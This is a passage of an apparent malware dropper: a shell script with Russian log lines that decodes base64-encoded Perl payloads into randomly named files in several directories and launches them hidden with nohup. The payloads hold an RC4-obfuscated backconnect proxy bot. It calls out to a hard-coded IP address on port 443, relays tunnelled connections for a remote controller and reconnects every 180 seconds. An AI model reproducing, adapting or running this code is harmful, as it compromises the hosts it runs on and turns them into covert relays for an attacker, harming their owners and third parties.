eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #2 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #2 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 3 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjEnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk 